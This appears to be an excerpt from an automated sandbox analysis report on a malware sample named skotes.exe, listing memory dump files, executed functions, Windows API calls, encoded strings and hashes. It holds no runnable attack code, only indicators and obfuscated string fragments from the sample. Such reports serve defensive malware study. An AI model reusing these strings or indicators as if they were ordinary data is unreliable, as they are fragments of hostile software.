Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: d0796453986ebfade874ceda9ebcfc940777f79e3ece1b4d34a59d0b81f98a78
Instruction ID: 0c23ae55fd9da57a1fe8cc1abdcba15d3abd7623e77e84c64022f925b7db08fd
Opcode Fuzzy Hash: d0796453986ebfade874ceda9ebcfc940777f79e3ece1b4d34a59d0b81f98a78
Instruction Fuzzy Hash: D72171B1D102099FDF10EFA4DC859BEB779EF48710F200116FA01A7292DB309D118F91

Function 0022F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0022F3A3

Strings

8"%, xrefs: 0022F44B
`'%, xrefs: 0022F375

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"%$`'%
API String ID: 3903695350-3018040681
Opcode ID: 4d6476e298f59479b722e4128741ddf7757a23eae92f459991130d85f9c043b9
Instruction ID: 882b966384cf3d084a963987a4de3824a7c65d6e6ad13ea83a9bf5cd7398e2b7
Opcode Fuzzy Hash: 4d6476e298f59479b722e4128741ddf7757a23eae92f459991130d85f9c043b9
Instruction Fuzzy Hash: 1C315931620262FFEB71AEB9EA45B5B73F8EF00352F10447AE445D6995DE70A8A0CB11

Analysis Process: skotes.exePID: 5596, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	783
Total number of Limit Nodes:	47

Executed Functions

Function 001FE530 Relevance: 27.2, APIs: 2, Strings: 13, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

246122658369, xrefs: 001FF737, 001FFA14, 002005E7, 0020099A
111, xrefs: 001FF7A0
WDw=, xrefs: 001FF71D, 001FF9FA
MQ==, xrefs: 001FE592
9c9aa5, xrefs: 001FFB8E
GnNoc2Hc, xrefs: 001FE56C
WTs=, xrefs: 002005CA
UA==, xrefs: 001FEB0F, 001FED56
MGE+, xrefs: 001FE821
#, xrefs: 00200624
L1%, xrefs: 001FF7E5
j718, xrefs: 001FE547, 001FEAEA, 001FF6F4, 001FF9D5, 001FFB77, 002008F7
WTw=, xrefs: 0020097D

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1%$MGE+$MQ==$UA==$WDw=$WTs=$WTw=$j718
API String ID: 0-171680283
Opcode ID: 95b95b4f68026fcd81c3bf5f6d843c132f6501fb9d71798c7fda6d78e1442bec
Instruction ID: a105467c2c98ff68698b425029e603cdf4d0a9e1792061b63fc402a78afafc5d
Opcode Fuzzy Hash: 95b95b4f68026fcd81c3bf5f6d843c132f6501fb9d71798c7fda6d78e1442bec
Instruction Fuzzy Hash: 2882C270A1438CDBEF14EF68C9497DE7FB6AB46304F508188E805673C2C7B55A988BD2

Function 00232517 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00246758), ref: 0023275C

Strings

Eastern Standard Time, xrefs: 002327CB
Xg$, xrefs: 00232705, 0023270B
j718, xrefs: 00232858
Eastern Summer Time, xrefs: 002327FA

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg$$j718
API String ID: 565725191-3950639614
Opcode ID: 9c5a41b254010a902c95e55e2e45a39d7a7541aff99cf75b5bc23d90d661400e
Instruction ID: 799950c8ef1c4a8a6ae03a671cb37442ab94f6b0b6d3a57b50483058f6b7a5c3
Opcode Fuzzy Hash: 9c5a41b254010a902c95e55e2e45a39d7a7541aff99cf75b5bc23d90d661400e
Instruction Fuzzy Hash: 5BC15BB1A20216EBDB249F78DC56AAE7BBDEF45310F540059E880D7292E730DE59CF50

Function 001F65E0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 001F6680

Strings

ISNmfV==, xrefs: 001F67D1
RySfdMLx, xrefs: 001F669C
j718, xrefs: 001F59F4, 001F5C24, 001F5EE6, 001F603B, 001F65F7, 001F70AC
GSTmfV==, xrefs: 001F6728

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx$j718
API String ID: 1484870144-429477125
Opcode ID: d6d70e2842ec71356d5c9940681c0125547aafdba9f9bdf6778d5502deecd379
Instruction ID: 16816898a30bc263f3d5cb9ed7b495bd399be040c27534afa9faead508609dfd
Opcode Fuzzy Hash: d6d70e2842ec71356d5c9940681c0125547aafdba9f9bdf6778d5502deecd379
Instruction Fuzzy Hash: E991A2B190021C9FDB28DB64CC85BEDB779EB45304F4045EDE61997282DB719BC88FA4

Function 001FEB4E Relevance: 33.6, APIs: 3, Strings: 15, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FEB51
CreateDirectoryA.KERNEL32(00000000), ref: 001FEC83
GetFileAttributesA.KERNEL32(00000000), ref: 001FED98

Strings

246122658369, xrefs: 001FF737, 001FFA14, 001FFE00, 002005E7
111, xrefs: 001FF7A0
GiQaT29tduF=, xrefs: 001FFEB6
WDw=, xrefs: 001FF71D, 001FF9FA, 001FFDE3
9c9aa5, xrefs: 001FFB8E
mxo1L0x, xrefs: 001FEE84
WTs=, xrefs: 002005CA
FisgLnsCZO1i, xrefs: 001FFF19
UA==, xrefs: 001FEC41, 001FED56, 001FEF89, 001FF2CE
invalid stoi argument, xrefs: 002008B0
#, xrefs: 00200624
L1%, xrefs: 001FF7E5
j718, xrefs: 001FF6F4, 001FF9D5, 001FFB77
FCQgKF==, xrefs: 001FFEE4
stoi argument out of range, xrefs: 002008C4

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
